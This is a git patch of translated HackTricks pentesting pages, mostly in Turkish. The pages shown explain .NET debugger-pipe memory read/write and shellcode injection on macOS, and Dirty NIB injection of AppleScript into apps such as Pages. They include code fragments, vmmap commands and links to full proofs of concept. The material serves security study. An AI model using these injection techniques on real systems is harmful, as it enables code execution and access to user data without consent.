From ae89997e98c2241a6bcb7a3aa9a3533938e22b60 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 19 Jul 2024 04:38:46 +0000 Subject: [PATCH] Translated ['macos-hardening/macos-security-and-privilege-escalation/mac --- .../macos-.net-applications-injection.md | 70 ++-- .../macos-proces-abuse/macos-dirty-nib.md | 83 ++--- .../macos-thread-injection-via-task-port.md | 153 ++++---- .../README.md | 78 ++-- .../macos-java-apps-injection.md | 61 ++-- ...yld-hijacking-and-dyld_insert_libraries.md | 62 ++-- .../macos-ruby-applications-injection.md | 44 +-- .../macos-xattr-acls-extra-stuff.md | 148 ++++++-- .../macos-sandbox/README.md | 108 +++--- .../macos-default-sandbox-debug.md | 50 ++- .../macos-office-sandbox-bypasses.md | 82 +++-- .../macos-tcc-bypasses/macos-apple-scripts.md | 54 +-- .../macos-tcc/macos-tcc-payloads.md | 158 ++++---- misc/references.md | 77 +--- .../android-app-pentesting/adb-commands.md | 277 ++++---------- .../android-applications-basics.md | 293 +++++++-------- .../android-app-pentesting/apk-decompilers.md | 73 ++-- .../content-protocol.md | 66 ++-- .../exploiting-a-debuggeable-applciation.md | 123 ++++--- .../frida-tutorial/README.md | 341 +++--------------- .../intent-injection.md | 52 +-- .../make-apk-accept-ca-certificate.md | 49 +-- .../manual-deobfuscation.md | 70 ++-- .../react-native-application.md | 60 +-- .../android-app-pentesting/smali-changes.md | 165 +++------ .../spoofing-your-location-in-play-store.md | 55 +-- .../android-app-pentesting/tapjacking.md | 66 ++-- mobile-pentesting/cordova-apps.md | 62 ++-- .../basic-ios-testing-operations.md | 133 +++---- ...-entitlements-from-compiled-application.md | 56 +-- .../ios-pentesting/ios-app-extensions.md | 72 ++-- .../ios-pentesting/ios-basics.md | 132 +++---- ...m-uri-handlers-deeplinks-custom-schemes.md | 58 +-- .../ios-hooking-with-objection.md | 83 +++-- .../ios-pentesting/ios-protocol-handlers.md | 34 +- .../ios-serialisation-and-encoding.md | 61 ++-- .../ios-pentesting/ios-uiactivity-sharing.md | 76 ++-- .../ios-pentesting/ios-uipasteboard.md | 79 ++-- .../ios-pentesting/ios-universal-links.md | 67 ++-- .../ios-pentesting/ios-webviews.md | 131 +++---- mobile-pentesting/xamarin-apps.md | 68 ++-- ...0-network-data-management-protocol-ndmp.md | 64 ++-- .../1080-pentesting-socks.md | 172 ++------- .../137-138-139-pentesting-netbios.md | 66 ++-- ...-24008-24009-49152-pentesting-glusterfs.md | 50 +-- .../3128-pentesting-squid.md | 50 +-- .../3260-pentesting-iscsi.md | 94 ++--- .../3299-pentesting-saprouter.md | 68 ++-- .../3632-pentesting-distcc.md | 45 ++- .../3690-pentesting-subversion-svn-server.md | 96 ++--- ...ntesting-erlang-port-mapper-daemon-epmd.md | 61 ++-- .../44134-pentesting-tiller-helm.md | 56 +-- .../44818-ethernetip.md | 36 +- .../47808-udp-bacnet.md | 40 +- .../4840-pentesting-opc-ua.md | 52 +-- .../49-pentesting-tacacs+.md | 56 +-- .../5000-pentesting-docker-registry.md | 143 ++++---- ...060-50070-50075-50090-pentesting-hadoop.md | 38 +- .../512-pentesting-rexec.md | 38 +- .../515-pentesting-line-printer-daemon-lpd.md | 42 ++- .../5353-udp-multicast-dns-mdns.md | 65 ++-- .../5555-android-debug-bridge.md | 48 +-- .../5601-pentesting-kibana.md | 54 +-- .../5671-5672-pentesting-amqp.md | 129 ++----- .../584-pentesting-afp.md | 50 +-- .../5984-pentesting-couchdb.md | 194 ++++------ network-services-pentesting/623-udp-ipmi.md | 106 +++--- network-services-pentesting/69-udp-tftp.md | 46 +-- .../7-tcp-udp-pentesting-echo.md | 44 +-- .../873-pentesting-rsync.md | 81 ++--- .../9000-pentesting-fastcgi.md | 46 +-- .../9001-pentesting-hsqldb.md | 80 ++-- network-services-pentesting/9100-pjl.md | 62 ++-- network-services-pentesting/cassandra.md | 96 ++--- .../pentesting-264-check-point-firewall-1.md | 46 +-- ...ting-631-internet-printing-protocol-ipp.md | 44 +-- .../pentesting-compaq-hp-insight-manager.md | 36 +- .../pentesting-finger.md | 64 ++-- ...entesting-jdwp-java-debug-wire-protocol.md | 78 ++-- .../pentesting-modbus.md | 79 +--- .../pentesting-rlogin.md | 42 ++- network-services-pentesting/pentesting-rsh.md | 40 +- 82 files changed, 3031 insertions(+), 3796 deletions(-) diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index df8d6399d..cbce7e12e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,30 +1,31 @@ # macOS .Net Uygulamaları Enjeksiyonu +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana dönüştürmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} -**Bu, [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) adresindeki yazının özeti. Daha fazla ayrıntı için kontrol edin!** +**Bu, [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) adresindeki gönderinin bir özetidir. Daha fazla ayrıntı için kontrol edin!** ## .NET Core Hata Ayıklama -### **Bir Hata Ayıklama Oturumu Kurma** +### **Hata Ayıklama Oturumu Kurma** -.NET'te hata ayıklama aracı ve hata ayıklanan arasındaki iletişim [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) tarafından yönetilir. Bu bileşen, her .NET işlemi için [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) adresinde görüldüğü gibi iki adet isimlendirilmiş pipe kurar. Bu borular **`-in`** ve **`-out`** ile sonlandırılır. +.NET'te hata ayıklayıcı ile hata ayıklanan arasındaki iletişimin yönetimi [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) tarafından yapılmaktadır. Bu bileşen, [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) adresinde görüldüğü gibi her .NET işlemi için iki adlandırılmış boru hattı kurar ve bunlar [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) aracılığıyla başlatılır. Bu boru hatları **`-in`** ve **`-out`** ile sonlandırılır. -Kullanıcının **`$TMPDIR`**'sini ziyaret ederek, .Net uygulamalarını hata ayıklamak için kullanılabilen hata ayıklama FIFO'larını bulabilirsiniz. +Kullanıcının **`$TMPDIR`** dizinine giderek, .Net uygulamalarını hata ayıklamak için mevcut olan hata ayıklama FIFO'larını bulabilirsiniz. -[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259), bir hata ayıklama aracından gelen iletişimi yönetmekten sorumludur. Yeni bir hata ayıklama oturumu başlatmak için, bir hata ayıklama aracı, .NET kaynak kodunda detayları verilen `MessageHeader` yapısını içeren bir mesajı `out` boruya göndermelidir: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) hata ayıklayıcıdan gelen iletişimi yönetmekten sorumludur. Yeni bir hata ayıklama oturumu başlatmak için, bir hata ayıklayıcı `out` boru hattı aracılığıyla `MessageHeader` yapısıyla başlayan bir mesaj göndermelidir; bu yapı .NET kaynak kodunda ayrıntılı olarak açıklanmıştır: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -43,7 +44,7 @@ DWORD m_dwMinorVersion; BYTE m_sMustBeZero[8]; } ``` -Yeni bir oturum isteği yapmak için, bu yapı aşağıdaki gibi doldurulur, mesaj türü `MT_SessionRequest` olarak ve protokol sürümü mevcut sürüm olarak ayarlanır: +Yeni bir oturum talep etmek için, bu yapı aşağıdaki gibi doldurulur, mesaj türü `MT_SessionRequest` ve protokol sürümü mevcut sürüm olarak ayarlanır: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; @@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -Bu başlık daha sonra `write` sistem çağrısı kullanılarak hedefe gönderilir ve ardından oturum için bir GUID içeren `sessionRequestData` yapısı gönderilir: +Bu başlık daha sonra `write` syscall'ı kullanılarak hedefe gönderilir, ardından oturum için bir GUID içeren `sessionRequestData` yapısı gelir: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -`out` boru üzerinde yapılan bir okuma işlemi, hata ayıklama oturumunun başarılı olup olmadığını doğrular. +`out` borusundaki bir okuma işlemi, hata ayıklama oturumu kurulumunun başarıyla tamamlandığını veya başarısız olduğunu doğrular: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` -## Bellek Okuma -Bir hata ayıklama oturumu oluşturulduğunda, bellek [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) mesaj türünü kullanarak okunabilir. readMemory işlevi, bir okuma isteği göndermek ve yanıtı almak için gerekli adımları ayrıntılı olarak gerçekleştirir: +## Belleği Okuma +Bir hata ayıklama oturumu kurulduktan sonra, bellek [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) mesaj türü kullanılarak okunabilir. readMemory fonksiyonu, bir okuma isteği göndermek ve yanıtı almak için gerekli adımları gerçekleştiren ayrıntılı bir işlemdir: ```c bool readMemory(void *addr, int len, unsigned char **output) { // Allocation and initialization @@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) { return true; } ``` -Tam kanıt (POC) [burada](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b) bulunmaktadır. +Tam kanıt konsepti (POC) [burada](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b) mevcuttur. ## Belleğe Yazma -Benzer şekilde, belleğe yazma işlemi `writeMemory` fonksiyonu kullanılarak gerçekleştirilir. İşlem, mesaj türünün `MT_WriteMemory` olarak ayarlanması, verinin adresi ve uzunluğunun belirtilmesi ve ardından verinin gönderilmesini içerir: +Benzer şekilde, bellek `writeMemory` fonksiyonu kullanılarak yazılabilir. Süreç, mesaj türünü `MT_WriteMemory` olarak ayarlamayı, verinin adresini ve uzunluğunu belirtmeyi ve ardından veriyi göndermeyi içerir: ```c bool writeMemory(void *addr, int len, unsigned char *input) { // Increment IDs, set message type, and specify memory location @@ -93,20 +94,20 @@ bool writeMemory(void *addr, int len, unsigned char *input) { return true; } ``` -İlgili POC [burada](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5) bulunabilir. +İlgili POC [burada](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5) mevcuttur. -## .NET Core Kodu Yürütme +## .NET Core Kod Çalıştırma -Kod yürütmek için, rwx izinlerine sahip bir bellek bölgesi belirlemek gerekmektedir. Bu, vmmap -pages kullanılarak yapılabilir: +Kod çalıştırmak için, rwx izinlerine sahip bir bellek bölgesi tanımlanmalıdır; bu, vmmap -pages: kullanılarak yapılabilir. ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -Bir işlev işaretçisini üzerine yazmak için bir yer bulmak gereklidir ve .NET Core'da bunu yapmanın bir yolu **Dynamic Function Table (DFT)**'ye hedef alarak yapmaktır. Bu tablo, JIT derleme yardımcı işlevleri için çalışma zamanı tarafından kullanılan [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) dosyasında detaylı olarak açıklanmıştır. +Bir işlev işaretçisini geçersiz kılmak için bir yer bulmak gereklidir ve .NET Core'da bu, **Dynamic Function Table (DFT)** hedeflenerek yapılabilir. Bu tablo, [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) dosyasında detaylandırılmıştır ve çalışma zamanı tarafından JIT derleme yardımcı işlevleri için kullanılır. -x64 sistemler için, `libcorclr.dll` içindeki `_hlpDynamicFuncTable` sembolüne bir referans bulmak için imza avı kullanılabilir. +x64 sistemler için, `_hlpDynamicFuncTable` sembolüne bir referans bulmak için imza avcılığı kullanılabilir `libcorclr.dll` içinde. -`MT_GetDCB` hata ayıklama işlevi, `m_helperRemoteStartAddr` adlı bir yardımcı işlevin adresi de dahil olmak üzere yararlı bilgiler sağlar. Bu adres, DFT'nin konumunu ve bir işlev işaretçisini kabuk kodunun adresiyle üzerine yazmak için kullanılır. +`MT_GetDCB` hata ayıklayıcı işlevi, `libcorclr.dll`'nin işlem belleğindeki konumunu gösteren bir yardımcı işlevin adresi olan `m_helperRemoteStartAddr` dahil olmak üzere yararlı bilgiler sağlar. Bu adres daha sonra DFT'yi aramak ve bir işlev işaretçisini shellcode'un adresi ile geçersiz kılmak için kullanılır. PowerShell'e enjeksiyon için tam POC kodu [buradan](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6) erişilebilir. @@ -114,16 +115,17 @@ PowerShell'e enjeksiyon için tam POC kodu [buradan](https://gist.github.com/xpn * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Support HackTricks -HackTricks'ı desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin. -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin. -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live). -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index bd8b6f28e..06bb653a6 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -1,38 +1,39 @@ -# macOS Kirli NIB +# macOS Dirty NIB + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +Support HackTricks -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **pull request** göndererek paylaşın. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Teknik hakkında daha fazla ayrıntı için orijinal yayına bakın: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** İşte bir özet: +**Tekniğin detayları için orijinal gönderiyi kontrol edin: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** İşte bir özet: -NIB dosyaları, Apple'ın geliştirme ekosisteminin bir parçası olarak uygulamalardaki **UI öğelerini** ve etkileşimlerini tanımlamak için kullanılır. Pencereler ve düğmeler gibi seri nesneleri içerir ve çalışma zamanında yüklenir. Apple, NIB dosyalarının devam eden kullanımına rağmen, daha kapsamlı bir UI akış görselleştirmesi için Artık Storyboard'ları önermektedir. +NIB dosyaları, Apple'ın geliştirme ekosisteminin bir parçası olarak, uygulamalardaki **UI öğelerini** ve etkileşimlerini tanımlamak için tasarlanmıştır. Pencereler ve düğmeler gibi serileştirilmiş nesneleri kapsar ve çalışma zamanında yüklenir. Sürekli kullanımlarına rağmen, Apple artık daha kapsamlı UI akış görselleştirmesi için Storyboard'ları önermektedir. -### NIB Dosyalarıyla İlgili Güvenlik Endişeleri -NIB dosyalarının bir güvenlik riski olabileceğini unutmamak önemlidir. Bunlar, **keyfi komutları** yürütebilir ve bir uygulamadaki NIB dosyalarının değiştirilmesi, Gatekeeper'ın uygulamayı yürütmesini engellemez, bu da ciddi bir tehdit oluşturur. +### NIB Dosyaları ile İlgili Güvenlik Endişeleri +**NIB dosyalarının bir güvenlik riski olabileceğini** belirtmek önemlidir. **Rastgele komutlar çalıştırma** potansiyeline sahiptirler ve bir uygulama içindeki NIB dosyalarındaki değişiklikler, Gatekeeper'ın uygulamayı çalıştırmasını engellemez, bu da önemli bir tehdit oluşturur. -### Kirli NIB Enjeksiyon Süreci -#### Bir NIB Dosyası Oluşturma ve Ayarlama -1. **Başlangıç Ayarları**: +### Dirty NIB Enjeksiyon Süreci +#### NIB Dosyası Oluşturma ve Ayarlama +1. **İlk Kurulum**: - XCode kullanarak yeni bir NIB dosyası oluşturun. -- Arayüze bir Nesne ekleyin ve sınıfını `NSAppleScript` olarak ayarlayın. -- Başlangıç `source` özelliğini Kullanıcı Tanımlı Çalışma Zamanı Öznitelikleri aracılığıyla yapılandırın. +- Arayüze bir Nesne ekleyin, sınıfını `NSAppleScript` olarak ayarlayın. +- Kullanıcı Tanımlı Çalışma Zamanı Özellikleri aracılığıyla ilk `source` özelliğini yapılandırın. -2. **Kod Yürütme Aracı**: -- Ayarlar, AppleScript'in isteğe bağlı olarak çalıştırılmasını sağlar. -- `Apple Script` nesnesini etkinleştirmek için bir düğme entegre edin ve özellikle `executeAndReturnError:` seçicisini tetikleyin. +2. **Kod Çalıştırma Aleti**: +- Kurulum, AppleScript'in talep üzerine çalıştırılmasını sağlar. +- `Apple Script` nesnesini etkinleştirmek için bir düğme ekleyin, özellikle `executeAndReturnError:` seçicisini tetikleyin. -3. **Test**: +3. **Test Etme**: - Test amaçlı basit bir Apple Script: ```bash set theDialogText to "PWND" @@ -41,31 +42,31 @@ display dialog theDialogText - XCode hata ayıklayıcısında çalıştırarak ve düğmeye tıklayarak test edin. #### Bir Uygulamayı Hedefleme (Örnek: Pages) -1. **Hazelik**: +1. **Hazırlık**: - Hedef uygulamayı (örneğin, Pages) ayrı bir dizine (örneğin, `/tmp/`) kopyalayın. -- Gatekeeper sorunlarını atlamak ve önbelleğe almak için uygulamayı başlatın. +- Gatekeeper sorunlarını aşmak ve önbelleğe almak için uygulamayı başlatın. 2. **NIB Dosyasını Üzerine Yazma**: -- Varolan bir NIB dosyasını (örneğin, About Panel NIB) oluşturulan DirtyNIB dosyasıyla değiştirin. +- Mevcut bir NIB dosyasını (örneğin, Hakkında Panel NIB) oluşturulan DirtyNIB dosyasıyla değiştirin. -3. **Yürütme**: -- Uygulamayla etkileşime geçerek (örneğin, `About` menü öğesini seçerek) yürütmeyi tetikleyin. +3. **Çalıştırma**: +- Uygulama ile etkileşimde bulunarak çalıştırmayı tetikleyin (örneğin, `Hakkında` menü öğesini seçerek). -#### Kanıt: Kullanıcı Verilerine Erişim -- AppleScript'i değiştirerek, kullanıcının izni olmaksızın fotoğraflar gibi kullanıcı verilerine erişebilir ve çıkarabilirsiniz. +#### Kavramsal Kanıt: Kullanıcı Verilerine Erişim +- Kullanıcı izni olmadan fotoğraflar gibi kullanıcı verilerine erişmek ve çıkarmak için AppleScript'i değiştirin. -### Örnek Kod: Zararlı .xib Dosyası -- Keyfi kod yürütme gösteren [**zararlı bir .xib dosyasının örneğine**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) erişin ve inceleyin. +### Kod Örneği: Kötü Amaçlı .xib Dosyası +- Rastgele kod çalıştırmayı gösteren bir [**kötü amaçlı .xib dosyası örneği**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) erişin ve inceleyin. -### Başlatma Kısıtlamalarıyla İlgilenme -- Başlatma Kısıtlamaları, beklenmeyen konumlardan (örneğin, `/tmp`) uygulama yürütmesini engeller. -- Başlatma Kısıtlamaları tarafından korunmayan uygulamaları belirlemek ve NIB dosyası enjeksiyonu için hedef almak mümkündür. +### Başlatma Kısıtlamalarını Ele Alma +- Başlatma Kısıtlamaları, uygulama çalıştırmayı beklenmedik yerlerden (örneğin, `/tmp`) engeller. +- Başlatma Kısıtlamaları ile korunmayan uygulamaları tanımlamak ve NIB dosyası enjeksiyonu için hedeflemek mümkündür. -### Ek macOS Korumaları -macOS Sonoma'dan itibaren, App paketleri içindeki değişiklikler kısıtlanmıştır. Ancak, önceki yöntemler şunları içerir: -1. Uygulamayı farklı bir konuma (örneğin, `/tmp/`) kopyalama. -2. Uygulama paketi içindeki dizinleri yeniden adlandırarak başlangıç korumalarını atlatma. -3. Uygulamayı Gatekeeper ile kaydetmek için çalıştırdıktan sonra, uygulama paketini (örneğin, MainMenu.nib'i Dirty.nib ile değiştirme) değiştirme. -4. Dizinleri yeniden adlandırma ve enjekte edilen NIB dosyasını yürütmek için uygulamayı yeniden çalıştırma. +### Ek macOS Koruma Önlemleri +macOS Sonoma'dan itibaren, Uygulama paketleri içindeki değişiklikler kısıtlanmıştır. Ancak, önceki yöntemler şunları içeriyordu: +1. Uygulamayı farklı bir konuma (örneğin, `/tmp/`) kopyalamak. +2. İlk korumaları aşmak için uygulama paketindeki dizinleri yeniden adlandırmak. +3. Uygulamayı çalıştırarak Gatekeeper ile kaydolduktan sonra, uygulama paketini değiştirmek (örneğin, MainMenu.nib'i Dirty.nib ile değiştirmek). +4. Dizinleri geri yeniden adlandırmak ve enjeksiyon yapılan NIB dosyasını çalıştırmak için uygulamayı yeniden çalıştırmak. -**Not**: Son macOS güncellemeleri, Gatekeeper önbelleğinde dosya değişikliklerini engelleyerek bu saldırıyı etkisiz hale getirmiştir. +**Not**: Son macOS güncellemeleri, Gatekeeper önbelleklemesinden sonra uygulama paketleri içinde dosya değişikliklerini engelleyerek bu istismarı etkisiz hale getirmiştir. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index eeed8cd60..10d79fc00 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,68 +1,69 @@ -# macOS Görev Portu Aracılığıyla İş Parçacığı Enjeksiyonu +# macOS Thread Injection via Task port + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -HackTricks'ı desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
